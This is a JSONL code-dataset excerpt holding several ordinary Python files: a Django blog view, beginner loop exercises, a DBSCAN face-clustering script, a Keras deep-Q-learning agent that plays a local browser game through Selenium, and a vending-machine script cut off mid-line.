render(request, 'blog_date_list.html', context)\r\n\r\n\r\ndef blog_with_date(request, year, month):\r\n blogs = Blog.objects.filter(create_time__year=year, create_time__month=month)\r\n context = blogs_with_paginator(request, blogs)\r\n return render(request, 'blog_date.html', context)\r\n\r\n\r\ndef get_search(request):\r\n\tsearch_blog = request.GET.get('search_blog')\r\n\tblog_list = Blog.objects.filter(title__icontains=search_blog)\r\n\tcontext = {}\r\n\tcontext['blog_list'] = blog_list\r\n\treturn render(request, 'search_result.html', context)\r\n\r\n","sub_path":"Myblog/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"386817629","text":"import sys\nsys.path.append('../')\nfrom tests.es_vs_no_es import es_vs_no_es\nimport numpy as np\n\ndata_dict = dict()\n\nfor idx in range(5):\n data_dict['normal' + str(idx)] = np.random.normal(size=(100, 3))\n data_dict['gumbel' + str(idx)] = np.random.gumbel(size=(100, 3))\n data_dict['logistic' + str(idx)] = np.random.logistic(size=(100, 3))\n\nmake_plots = es_vs_no_es(data_dict, show_plots=False, save_plots=True, save_path='plots/3d_scaled/')\nmake_plots.generate_plots()","sub_path":"tests/make_plots.py","file_name":"make_plots.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"560592017","text":"# -*- coding: UTF-8 -*-\n\"\"\"Modify each function until the tests pass.\"\"\"\n\n\ndef is_odd(a_number):\n \"\"\"Return True if a_number is odd, and False if a_number is even.\n\n Look into modulo division using the '%' operator as one way of doing this.\n \"\"\"\n if a_number%2 != 0: # % returns divisor value, 5%2 = 1 which does not equal to zero, hence odd\n return True\n else:\n return False\n\n\ndef fix_it(moves=True, should_move=True):\n \"\"\"Decide what to do.\n\n Using the engineering flowchart (in week2 folder of the CODE1161-2019\n repo engineeringFlowchart.png) for the rules, return the apropriate\n response to the input parameters.\n Use conditional statements: if, else, elif etc.\n This function should return either:\n \"WD-40\"\n \"Duct Tape\"\n \"No Problem\"\n\n Most people write this function with 4 return statements. \n As an extra challenge, see if you can get that down to three.\n \"\"\"\n\n option = [\"WD-40\", \"Duct Tape\", \"No Problem\" ]\n\n if moves == True: #This statement is saying that that item move\n if should_move == True: #This statement is looking at the option that it moves and it should move\n return option[2] # option 2 is \"no problem\" as python counts from 0\n else: #This statement is looking at the option that it moves and it shouldn't move\n return option[1]\n\n else: #This statement is the opposing statement to if moves == true, it basically say moves != false\n if should_move != False:\n return option[0]\n else:\n return option[2]\n\n\ndef loops_1a():\n \"\"\"Make 10 stars.\n\n Using a for loop\n return a list of 10 items, each one a string with exacly one star in it.\n E.g.: ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*']\n \"\"\"\n\n stars = [] #made an empty list so that we can add values to it \n\n for x in range(10): #this runs it 10 times\n stars.append('*') #this adds stars into the stars\n \n return stars \n\n\ndef loops_1c(number_of_items=5, symbol=\"#\"):\n \"\"\"Respond to variables.\n\n Using any method, return a list of number_of_items items, each one a\n string with exacly one symbol in it.\n E.g.: ['#', '#', '#', '#', '#']\n \"\"\"\n y = []\n for x in range(number_of_items):\n y.append(symbol)\n\n return y\n\n\ndef loops_2():\n \"\"\"Make a big square starfield.\n\n return a list of 10 items, each one a list of 10 items,\n each one of those, a string with exacly one star in it.\n E.g.: [\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*', '*'],\n ]\n \"\"\"\n squares = [] # This is an empty list \n temp = [] #This is also an empty list\n for x in range(10): # This runs it 10 times in x-direction \n for y in range(10): # This runs it 10 times \n temp.append(\"*\") # this adds the stars inside\n\n squares.append(temp) #this adds the temp list into the sqaures list\n temp = [] # Resets the list\n return squares\n\n\ndef loops_3():\n \"\"\"Make a rising block of numbers.\n\n Return this:\n [\n ['0', '0', '0', '0', '0', '0', '0', '0', '0', '0'],\n ['1', '1', '1', '1', '1', '1', '1', '1', '1', '1'],\n ['2', '2', '2', '2', '2', '2', '2', '2', '2', '2'],\n ['3', '3', '3', '3', '3', '3', '3', '3', '3', '3'],\n ['4', '4', '4', '4', '4', '4', '4', '4', '4', '4'],\n ['5', '5', '5', '5', '5', '5', '5', '5', '5', '5'],\n ['6', '6', '6', '6', '6', '6', '6', '6', '6', '6'],\n ['7', '7', '7', '7', '7', '7', '7', '7', '7', '7'],\n ['8', '8', '8', '8', '8', '8', '8', '8', '8', '8'],\n ['9', '9', '9', '9', '9', '9', '9', '9', '9', '9']\n ]\n remember that range(10) produces a list of numbers from 0...9\n So for every step produced by `for i in range(10):` i is a different number\n TIP: notice that this needs to to return strings of numbers,\n so call str(number) to cast.\n \"\"\"\n i = 0\n num=[]\n lol=[]\n for x in range(10):\n for y in range(10):\n lol.append(str(i))\n num.append(lol) #list within a list sort of thing :)\n lol = [] #reset list\n i += 1 #the new list will increase by 1 every time its reset\n\n return num\n\n\ndef loops_4():\n \"\"\"Make a block of numbers that rises left to right.\n\n Return this:\n [\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n ]\n \"\"\"\n i = 0 \n num=[]\n lol=[]\n for x in range(10):\n for y in range(10):\n lol.append(str(i))\n i += 1 #This adds 1 as the list foes on 0 1 2 3 4 5 6 7 8 9\n num.append(lol) #list within a list sort of thing :)\n lol = [] #This rests the list so that there is more than one list (10 in this case) with 10 values inside it\n i = 0 # This resets every list so that it starts up again at 0\n return num\n\n\ndef loops_5():\n \"\"\"Make the coordinates of the block.\n\n Return this:\n [\n ['(i0, j0)', '(i0, j1)', '(i0, j2)', '(i0, j3)', '(i0, j4)'],\n ['(i1, j0)', '(i1, j1)', '(i1, j2)', '(i1, j3)', '(i1, j4)'],\n ['(i2, j0)', '(i2, j1)', '(i2, j2)', '(i2, j3)', '(i2, j4)'],\n ['(i3, j0)', '(i3, j1)', '(i3, j2)', '(i3, j3)', '(i3, j4)'],\n ['(i4, j0)', '(i4, j1)', '(i4, j2)', '(i4, j3)', '(i4, j4)'],\n ['(i5, j0)', '(i5, j1)', '(i5, j2)', '(i5, j3)', '(i5, j4)'],\n ['(i6, j0)', '(i6, j1)', '(i6, j2)', '(i6, j3)', '(i6, j4)'],\n ['(i7, j0)', '(i7, j1)', '(i7, j2)', '(i7, j3)', '(i7, j4)'],\n ['(i8, j0)', '(i8, j1)', '(i8, j2)', '(i8, j3)', '(i8, j4)'],\n ['(i9, j0)', '(i9, j1)', '(i9, j2)', '(i9, j3)', '(i9, j4)']\n ]\n\n TIP:\n You can construct strings either by concatinating them:\n \"There are \" + str(8) + \" green bottles\"\n or by using format:\n \"There are {} green bottles\".format(8)\n you'll come to see the pros and cons of each over time.\n \"\"\"\n\n block = [] #an empty list\n tmp = [] #another empty list\n for i in range(10): #in range 10\n for j in range(5): #in range 5\n tmp.append(\"(i\" + str(i) + \", \" + \"j\" + str(j) + \")\") #ads this into tmp list\n block.append(tmp) #ads temp list into block list\n tmp = [] #moves onto the next list, which goes through the loop again but with different values\n \n return block #returns block list, our answer \n\n\ndef loops_6():\n \"\"\"Make a wedge of numbers.\n\n Return this:\n [\n ['0'],\n ['0', '1'],\n ['0', '1', '2'],\n ['0', '1', '2', '3'],\n ['0', '1', '2', '3', '4'],\n ['0', '1', '2', '3', '4', '5'],\n ['0', '1', '2', '3', '4', '5', '6'],\n ['0', '1', '2', '3', '4', '5', '6', '7'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8'],\n ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n ]\n You don't have to use a literal number in the range function.\n You can use a variable.\n TIP: look out for the starting condition.\n \"\"\"\n\n wedge = [] #Main list\n tmp = [] #Temporary list\n i = 0\n list_length = 0\n for x in range(10):\n for y in range(list_length + 1):\n tmp.append(str(i))\n i += 1\n wedge.append(tmp) \n tmp = []\n list_length += 1\n i = 0\n\n return wedge\n\n\ndef loops_7():\n \"\"\"Make a pyramid.\n\n Return this:\n [\n [' ', ' ', ' ', ' ', '*', ' ', ' ', ' ', ' '],\n [' ', ' ', ' ', '*', '*', '*', ' ', ' ', ' '],\n [' ', ' ', '*', '*', '*', '*', '*', ' ', ' '],\n [' ', '*', '*', '*', '*', '*', '*', '*', ' '],\n ['*', '*', '*', '*', '*', '*', '*', '*', '*']\n ]\n or in more simple terms:\n *\n * * *\n * * * * *\n * * * * * * *\n * * * * * * * * *\n (this is what will print when you test from inside this file)\n This is a hard problem. Use lots of experimentation and draw\n lots of diagrams!\n \"\"\"\n\n pyramid = [] #main list \n tmp = [] #list inside list\n mid_val = 4 #the middle value\n k = 0\n\n for i in range(5): #5 rows\n for j in range(9): #9 columns\n tmp.append(\" \") #adds spaces inside\n\n #this loop will add the \"*\" inside\n temp_value = 1\n while k != 0 and temp_value <= k:\n tmp[mid_val - temp_value] = \"*\" #placement of star to the left\n tmp[mid_val + temp_value] = \"*\" #placement of star to the right \n temp_value += 1 #temp_value = temp_value + 1\n\n tmp[mid_val] = \"*\" #adds a star to the middle value\n pyramid.append(tmp) #puts tmp list inside pyramid list \n k += 1 #k = k+1\n tmp = [] #resets tmp list :)\n \n return pyramid\n\n\ndef lp(some_kind_of_list, exercise_name):\n \"\"\"Help to see what's going on.\n\n This is a helper function that prints your\n results to check that they are tidy.\n Note: You don't have to do anything with it.\n \"\"\"\n if some_kind_of_list is not None:\n print(\"\\n\" + exercise_name)\n if type(some_kind_of_list[0]) is list:\n for row in some_kind_of_list:\n for column in row:\n print(column, end=\"\")\n print()\n else:\n for column in some_kind_of_list:\n print(column, end=\"\")\n print()\n else:\n print(exercise_name, \"maybe you haven't got to this one yet?\")\n\n\nif __name__ == \"__main__\":\n # this section does a quick test on your results and prints them nicely.\n # It's NOT the official tests, they are in tests.py as usual.\n # Add to these tests, give them arguments etc. to make sure that your\n # code is robust to the situations that you'll see in action.\n print(is_odd(1), \"is_odd odd\")\n print(is_odd(4), \"is_odd even\")\n print(fix_it(True, True), \"fix_it\")\n print(fix_it(True, False), \"fix_it\")\n print(fix_it(False, True), \"fix_it\")\n print(fix_it(False, False), \"fix_it\")\n lp(loops_1a(), \"loops_1a\")\n lp(loops_1c(4, \"×°×\"), \"loops_1c\")\n lp(loops_2(), \"loops_2\")\n lp(loops_3(), \"loops_3\")\n lp(loops_4(), \"loops_4\")\n lp(loops_5(), \"loops_5\")\n lp(loops_6(), \"loops_6\")\n lp(loops_7(), \"loops_7\")\n","sub_path":"week2/exercise3.py","file_name":"exercise3.py","file_ext":"py","file_size_in_byte":11131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"448918013","text":"\"\"\"\n\tDBSCAN clustering\n\tAlso, implementation of a greedy seach of optimal hyperparameters of DBSCAN for face clustering.\n\n\tauthor: Ricardo Kleinlein\n\tdate: 02/2020\n\n\tUsage:\n\t\tpython grid_search.py \n\n\tOptions:\n\t\t--output-dir\tDirectory to save results in\n\t\t--quiet\tHide visual information\n\t\t-h, --help\tDisplay script additional help\n\"\"\"\n\nimport os\nimport PIL\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom os.path import join\nfrom arguments import DbscanArgs\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.neighbors import NearestNeighbors\n\n\ndef load_db(db_path):\n \"\"\"Load a pd.Dataframe of detections.\"\"\"\n return pd.read_csv(db_path)\n\n\ndef load_embeddings(db):\n \"\"\"Load a list of vector embeddings from a\n pd.Dataframe\n\n Args:\n db (pd.DataFrame): DataFrame object\n\n Return:\n a list of vector embeddings in np.ndarray form\n a list of bouding boxes sizes (np.ndarray)\n \"\"\"\n size = db['size'].values\n emb = db['embedding'].values\n emb = [np.load(i).flatten() for i in emb]\n return emb, size\n\n\ndef size_filter(db, threshold):\n \"\"\"Filter out samples under threshold.\n\n Args:\n db (pd.DataFrame): DataFrame object\n threshold (int): Minimal size to accept\n\n Return:\n a pd.DataFrame of samples that meet the condition\n \"\"\"\n idx2rm = []\n for i, x in db.iterrows():\n if x['size'] < threshold:\n idx2rm.append(i)\n\n print(\"Numero de imagenes: \",len(db)-len(idx2rm),\" de \", len(db))\n return db.drop(idx2rm)\n\n\ndef hist_face_sizes(X, measure, output_dir):\n \"\"\"Save a histogram depicting the face sizes.\n\n Args:\n X (float): List of face sizes\n measure (str): Perimeter or area\n output_dir (str): Directory to save in\n \"\"\"\n os.makedirs(output_dir, exist_ok=True)\n plt.clf()\n plt.hist(X, bins=100)\n plt.xlabel('Face bounding box')\n plt.ylabel('Frequency')\n plt.savefig(join(output_dir, 'face_' + measure + '.png'))\n\n\ndef dbscan_(X, eps, min_samples, metric='euclidean'):\n \"\"\"DBSCAN clustering for a set of parameters over the\n sampels X.\n\n Args:\n X (float): Feature sample vectors\n eps (float): Epsilon hparam\n min_samples (int): Min-samples hparam\n metric (str, optional): distance metric [default: euclidean]\n\n Return:\n np.ndarray of labels for each samples, with\n noisy samples given a `-1`\n \"\"\"\n f = DBSCAN(eps=eps,\n min_samples=min_samples,\n metric=metric)\n f.fit(X)\n return f.labels_, f.core_sample_indices_\n\n\ndef export(path, data):\n \"\"\"Export data to external csv file.\"\"\"\n os.makedirs(os.path.dirname(path), exist_ok=True)\n if isinstance(data, list):\n data = np.array(data)\n if isinstance(data, np.ndarray):\n np.save(path, data)\n elif isinstance(data, pd.DataFrame):\n data.to_csv(path + '.csv')\n elif hasattr(data, '__dict__'):\n with open(path, 'w+') as f:\n for k, v in zip(data.__dict__.keys(), data.__dict__.values()):\n f.write(k + ': ' + str(v) + '\\n')\n else:\n raise IOError('Invalid data format')\n\n\ndef nearestneighbors(X, n, metric='euclidean'):\n \"\"\"Compute the distance to the n-th neighbour in an array\n of feature samples X.\n\n Args:\n X (float): Array of feature samples.\n n (int): N-th neighbor to consider.\n metric (str): DIstance measure [default: euclidean]\n\n Return:\n An np.ndarray of distances up to the n-th neighbors\n \"\"\"\n nn = NearestNeighbors(n_neighbors=n,\n metric=metric,\n n_jobs=-1)\n nbrs = nn.fit(X)\n dist, _ = nbrs.kneighbors(X)\n sort_dist = np.sort(dist, axis=0)[:, 1:]\n return sort_dist\n\n\ndef get_n_noise_samples(labels):\n return list(labels).count(-1)\n\n\ndef get_number_clusters(labels):\n return len(set(labels)) - (1 if -1 in labels else 0)\n\n\ndef measure_silhouette(X, labels, metric, with_noise=True):\n \"\"\"Clean up noise samples and compute Silhouette score.\n Since DBSCAN assigns a -1 label to those samples that are not attached to any cluster, we should dismiss those ones from the point of view of validation.\n\n Args:\n X (float): Feature samples\n labels (int): Prediction labels. -1 denotes noise\n metric (str): Distance measure\n with_noise (bool, optional): Account for -1 tags\n\n Return:\n a float, the average Silhouette score of the clean samples.\n \"\"\"\n if get_number_clusters(labels) < 2:\n return -1\n if -1 in labels:\n if with_noise:\n return silhouette_score(X, labels, metric=metric)\n else:\n idx2keep = []\n for i, x in enumerate(labels):\n if x != -1:\n idx2keep.append(i)\n X = np.array([X[i] for i in idx2keep])\n labels = labels[idx2keep]\n return silhouette_score(X, labels, metric=metric)\n\n\ndef _eps_search(X, eps, min_samples, metric, quiet=False):\n \"\"\"Epsilon-based DBSCAN protocol.\n\n Args:\n X (float): Vector embeddings\n eps (float): Eps value\n min_samples (int): Minimum min_samples\n metric (str): Pairwise distance to use\n quiet (bool, optional): Whethet to display info\n\n Return:\n a np.ndarray of labels according to the final cluster\n a dict of measures representing the experiment\n \"\"\"\n score = -1\n num_cluster = 0\n num_noise = 0\n\n pred, core_ = dbscan_(X, eps, min_samples, metric=metric)\n try:\n score_sil = measure_silhouette(X, pred, metric, True)\n score = score_sil\n num_cluster = get_number_clusters(pred)\n num_noise = get_n_noise_samples(pred) / len(pred)\n except KeyboardInterrupt:\n raise KeyboardInterrupt\n\n if not quiet:\n print('> Eval configuration - eps = {:.2f}'.format(eps))\n\n vals = {'score': score,\n 'num_clusters': num_cluster,\n 'noise': num_noise}\n\n return pred, vals\n\n\ndef _status(pred):\n \"\"\"Given a list of predictions, find the cluster sparse representation.\n \"\"\"\n n = len(pred)\n pred_copy = pred.copy()\n cluster_groups = []\n for i in range(n):\n within_group = []\n for j in range(n):\n if pred[i] != -1 and pred[i] == pred[j]:\n within_group.append(j)\n cluster_groups.append(within_group)\n return [x for x in np.unique(cluster_groups) if x != []]\n\n\ndef compare(status, old_pred):\n \"\"\"How many new and merged groups.\"\"\"\n num_cl = len(status)\n new_clusters = 0\n merged_clusters = 0\n\n for i in range(num_cl):\n group = status[i]\n # print('Group: ', group)\n\n were_noise = True\n has_merged = False\n\n for k in range(len(group)):\n sample = group[k]\n old_tag = old_pred[sample]\n # print('Sample {:d}, old tag: {:d}'.format(sample, int(old_tag)))\n if old_tag != -1:\n were_noise = False\n if len(np.unique(old_pred[group])) > 1:\n has_merged = True\n\n if were_noise:\n new_clusters += 1\n if has_merged:\n merged_clusters += len(np.unique(old_pred[group])) - 1\n\n return new_clusters, merged_clusters\n\n\ndef save_clusters(db, savepath, time_req):\n \"\"\"Prepares image mosaics of the clusters and computes their centroids and stddev.\n\n Args:\n db (pd.DataFrame): Data with full info\n dirname (str): Root output directory\n time_req (int): Minimum time to be considered participant\n \"\"\"\n # try:\n # all_id = np.unique(db['pred_labels']) # Includes noise tag\n # except:\n print('fallo de unique')\n import pdb\n pdb.set_trace()\n all_id = []\n num_id = [0 for _ in range(50)]\n for line in db['pred_labels']:\n if all_id.count(line)==0:\n all_id.append(line)\n num_id[line+1]+=1\n pdb.set_trace()\n\n\n for iddty in all_id:\n data = db.loc[db['pred_labels'] == iddty]\n if len(data) >= time_req and iddty != -1:\n id_path = join(savepath, 'id_' + str(iddty))\n os.makedirs(id_path, exist_ok=True)\n\n data_vector, size = load_embeddings(data)\n centroid = np.mean(data_vector, axis=0)\n std = np.std(data_vector, axis=0)\n cov = np.cov(np.array(data_vector).T)\n\n print(all_id)\n print(cov)\n pdb.set_trace()\n\n #inv_cov = np.linalg.inv(cov)\n export(path=join(id_path, 'centroid'),\n data=centroid)\n export(path=join(id_path, 'std'),\n data=std)\n export(path=join(id_path, 'covmat'),\n data=cov)\n #export(path=join(id_path, 'inv_covmat'), data=inv_cov)\n\n imgs = data['img'].values\n for img_path in imgs:\n img = PIL.Image.open(img_path)\n img_name = img_path.split('/')[-1]\n img.save(join(id_path, img_name))\n\n\ndef eps_search(db, X, time_req, eps_low, eps_high, trials, min_samples, metric, output_dir, quiet=False):\n \"\"\"Export a scaled search of parameters based on the value of epsilon and the minimal intervention time.\n\n Args:\n db (pd.DataFrame): Data information\n X (float): Vector embeddings\n time_req (int): Minimum time to be considered participant\n eps_low (float): Lower limit of search\n eps_high (float): Upper limit of search\n min_samples (int): Fixed DBSCAN hparam. Low to assure convergence\n metric (str): Pairwise distance to use\n output_dir (str): Output directory\n quiet (bool, optional): Whether to display info\n\n Return:\n a float, the best epsilon found\n \"\"\"\n maindir = join(dirname, 'min_samples_' + str(min_samples))\n overall = {\n 'score': [], # Silhouette average score\n 'num_clusters': [], # Total number of clusters\n 'noise': [], # Proportion of noise samples\n 'newly_created': [], # Generated from scratch clusters\n 'merging_processes': [] # Cases of merging clusters\n }\n eps = np.linspace(eps_low, eps_high, trials)\n old_pred = np.ones(len(X)) * (-1)\n best_score = -1\n best_eps = eps_low\n best_pred = None\n\n import pdb\n\n for e in range(len(eps)):\n pred_labels, info = _eps_search(\n X=X,\n eps=eps[e],\n min_samples=min_samples,\n metric=metric,\n quiet=quiet)\n status = _status(pred_labels)\n info['newly_created'], info['merging_processes'] = compare(\n status, old_pred)\n old_pred = pred_labels.copy()\n print(info)\n if info['score'] > best_score:\n best_score = info['score']\n best_eps = eps[e]\n best_pred = pred_labels\n\n for k in info.keys():\n overall[k].append(info[k])\n\n\n epsdir = join(maindir, 'eps_' + str(best_eps))\n db['pred_labels'] = best_pred\n export(join(epsdir, 'labels'), db)\n if not quiet:\n print('> Configuration saved')\n print('> Computing centroids & cluster mosaics')\n\n save_clusters(db, epsdir, time_req)\n\n overall = pd.DataFrame(\n data=overall,\n index=eps,\n columns=overall.keys())\n export(join(maindir, 'results'), overall)\n\n return best_eps\n\n\nif __name__ == \"__main__\":\n args = DbscanArgs().parse()\n db = load_db(args.program_csv)\n _, size = load_embeddings(db)\n hist_face_sizes(size, 'size', args.output_dir)\n if not args.quiet:\n print('> Perimeter and area computed for all faces')\n db = size_filter(db, args.min_area)\n X, size = load_embeddings(db)\n dirname = join(args.output_dir, 'dbscan_' + args.metric)\n\n export(join(dirname, 'min_samples_' + str(args.min_samples),\n 'hparams.txt'), args)\n\n if not args.quiet:\n print('> Proceed to hyperparameters search...')\n filename = 'dist_' + str(args.nthneigh - 1) + 'th_neighbor.csv'\n dists = nearestneighbors(X, args.nthneigh, metric=args.metric)\n export(join(dirname, filename), data=dists)\n\n if not args.quiet:\n print('> Distance to neighbors exported')\n print('> Searching a nice DBSCAN configuration')\n\n eps_search(\n db=db,\n X=X,\n time_req=args.min_part,\n eps_low=args.eps_low,\n eps_high=args.eps_upper,\n trials=args.trials,\n min_samples=args.min_samples,\n metric=args.metric,\n output_dir=dirname,\n quiet=args.quiet)\n","sub_path":"dbscan.py","file_name":"dbscan.py","file_ext":"py","file_size_in_byte":12627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"149900196","text":"# https://github.com/KerasKorea/KEKOxTutorial/blob/master/134_Keras%20%EC%99%80%20Gym%20%EA%B3%BC%20%ED%95%A8%EA%BB%98%ED%95%98%EB%8A%94%20Deep%20Q-Learning%20%EC%9D%84%20%ED%96%A5%ED%95%9C%20%EC%97%AC%ED%96%89.md\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium.webdriver.common.keys import Keys\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.optimizers import Adam\r\n\r\nfrom collections import deque\r\nimport numpy as np\r\nimport random\r\nimport os\r\nimport time\r\n\r\n\r\nclass Agent():\r\n def __init__(self, state_size, action_size):\r\n self.weight_backup = \"model/dql-medium.h5\"\r\n self.state_size = state_size\r\n self.action_size = action_size\r\n self.memory = deque(maxlen=2000)\r\n self.learning_rate = 0.001\r\n self.gamma = 0.95\r\n self.exploration_rate = 1.0\r\n self.exploration_min = 0.01\r\n self.exploration_decay = 0.995\r\n self.brain = self._build_model()\r\n\r\n def _build_model(self):\r\n # Neural Net for Deep-Q learning Model\r\n model = Sequential()\r\n model.add(Dense(24, input_dim=self.state_size, activation='relu'))\r\n model.add(Dense(24, activation='relu'))\r\n model.add(Dense(self.action_size, activation='linear'))\r\n model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate))\r\n\r\n if os.path.isfile(self.weight_backup):\r\n model.load_weights(self.weight_backup)\r\n self.exploration_rate = self.exploration_min\r\n\r\n return model\r\n\r\n def save_model(self):\r\n self.brain.save(self.weight_backup)\r\n\r\n def act(self, state):\r\n if np.random.rand() <= self.exploration_rate:\r\n return random.randrange(self.action_size)\r\n \r\n act_values = self.brain.predict(state)\r\n return np.argmax(act_values[0])\r\n\r\n def remember(self, state, action, reward, next_state, done):\r\n self.memory.append((state, action, reward, next_state, done))\r\n\r\n def replay(self, sample_batch_size):\r\n if len(self.memory) < sample_batch_size:\r\n return\r\n \r\n sample_batch = random.sample(self.memory, sample_batch_size)\r\n for state, action, reward, next_state, done in sample_batch:\r\n target = reward\r\n if not done:\r\n target = reward + self.gamma * np.amax(self.brain.predict(next_state)[0])\r\n \r\n target_f = self.brain.predict(state)\r\n target_f[0][action] = target\r\n self.brain.fit(state, target_f, epochs=1, verbose=0)\r\n\r\n if self.exploration_rate > self.exploration_min:\r\n self.exploration_rate *= self.exploration_decay\r\n\r\n\r\nclass Circle():\r\n def __init__(self, episodes):\r\n self.options = webdriver.ChromeOptions()\r\n self.options.add_experimental_option(\"excludeSwitches\", [\"enable-automation\", \"enable-logging\"])\r\n self.driver = webdriver.Chrome(executable_path='./chromedriver.exe', options=self.options)\r\n self.driver.set_window_size(350, 820)\r\n self.driver.get('http://localhost:8080/medium')\r\n \r\n self.actions = ActionChains(self.driver)\r\n \r\n self.spacebar = self.actions.send_keys(Keys.SPACE)\r\n self.play_button = self.driver.find_element_by_css_selector('div#menu')\r\n self.replay_button = self.driver.find_element_by_css_selector('div#replay')\r\n self.sound = self.driver.find_element_by_css_selector('div#sound')\r\n self.sound.click()\r\n \r\n self.before_score = 0\r\n \r\n self.sample_batch_size = 32\r\n self.episodes = episodes\r\n\r\n self.state_size = 8\r\n self.action_size = 2\r\n self.agent = Agent(self.state_size, self.action_size)\r\n\r\n def run(self):\r\n try:\r\n for index_episode in range(self.episodes):\r\n self.driver.execute_script('document.getElementById(\"count\").innerHTML = \"{}\"'.format(index_episode + 1))\r\n \r\n score = 0\r\n self.before_score = 0\r\n self.play_button.click()\r\n \r\n state = self.get_state()\r\n state = np.reshape(state, [1, self.state_size])\r\n while True:\r\n action = self.agent.act(state)\r\n \r\n next_state, reward, done = self.step(action)\r\n next_state = np.reshape(next_state, [1, self.state_size])\r\n self.agent.remember(state, action, reward, next_state, done)\r\n state = next_state\r\n score += reward\r\n \r\n if done:\r\n time.sleep(1)\r\n try:\r\n self.replay_button.click()\r\n except:\r\n time.sleep(1)\r\n self.replay_button.click()\r\n break\r\n \r\n print(\"Episode {}# Score: {}\".format(index_episode, score))\r\n self.agent.replay(self.sample_batch_size)\r\n \r\n finally:\r\n self.agent.save_model() \r\n \r\n def step(self, action): \r\n if action:\r\n self.play_button.click()\r\n time.sleep(0.4)\r\n\r\n now_score = self.driver.execute_script('return score')\r\n score = 1.0 if self.before_score < now_score else 0\r\n self.before_score = now_score\r\n \r\n is_playing = self.driver.execute_script('return window.isPlaying')\r\n done = False if is_playing else True\r\n state = self.get_state()\r\n \r\n return state, score, done\r\n \r\n def get_state(self):\r\n pos_now = self.driver.execute_script('return window.PosNow')\r\n lines = self.driver.execute_script('return window.line')\r\n CP = int(self.driver.execute_script('return window.CP'))\r\n now_line_height = -(lines[CP + 1][0] - pos_now[0]) * ((lines[CP + 1][1] - lines[CP][1]) / (lines[CP + 1][0] - lines[CP][0])) + lines[CP + 1][1]\r\n gap = (now_line_height - 8) - (pos_now[1] - 65)\r\n vx = self.driver.execute_script('return window.Vx')\r\n \r\n return np.array([\r\n pos_now[1] * 0.001, \r\n lines[CP + 0][1] * 0.001, \r\n lines[CP + 1][1] * 0.001, \r\n lines[CP + 2][1] * 0.001,\r\n lines[CP + 2][1] * 0.001,\r\n now_line_height * 0.001, \r\n gap * 0.1,\r\n vx * 0.001])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n circle = Circle(10000)\r\n circle.run()","sub_path":"main-DQL.py","file_name":"main-DQL.py","file_ext":"py","file_size_in_byte":6769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"242879205","text":"money = 0.00\nloop = 1\n\ndef choose_beverage():\n beverage = input(\"\\nPlease choose the beverage you want.\\n\\n1 = Sprite\\n2 = Coca-cola\\n3 = Diet Coke\\n4 = Coke Zero\\n5 = Mountain Dew\\n6 = Mello Yello\\n7 = Sierra Mist\\n8 = 7Up\\n9 = Lemonade\\n0 = Water\\n\\nAll cost $1.25.\\n\\n\")\n if beverage == '1':\n print(\"\\nSprite\")\n elif beverage == '2':\n print(\"\\nCoca-cola\")\n elif beverage == '3':\n print(\"\\nDiet Coke\")\n elif beverage == '4':\n print(\"\\nCoke Zero\")\n elif beverage == '5':\n print(\"\\nMountain Dew\")\n elif beverage == '6':\n print(\"\\nMello Yello\")\n elif beverage == '7':\n print(\"\\nSierra Mist\")\n elif beverage == '8':\n print(\"\\n7Up\")\n elif beverage == '9':\n print(\"\\nLemonade\")\n elif beverage == '0':\n print(\"\\nWater\")\n\nwhile True:\n print(\"Insert money.\\n\")\n while True:\n if loop == 1:\n coin = input(\"P = insert penny\\nN = insert nickel\\nD = insert dime\\nQ = insert quarter\\nH = insert half-dollar coin\\nC = insert dollar coin\\n1 = insert 1-dollar bill\\n2 = insert 2-dollar bill\\nZ = Move on to choosing beverage.\\n\\n\")\n else:\n coin = input(\"\\n\")\n if coin == 'P':\n money = money + 0.01\n elif coin == 'N':\n money = money + 0.05\n elif coin == 'D':\n money = money + 0.10\n elif coin == 'Q':\n money = money + 0.25\n elif coin == 'H':\n money = money + 0.50\n elif coin == 'C':\n money = money + 1.00\n elif coin == '1':\n money = money + 1.00\n elif coin == 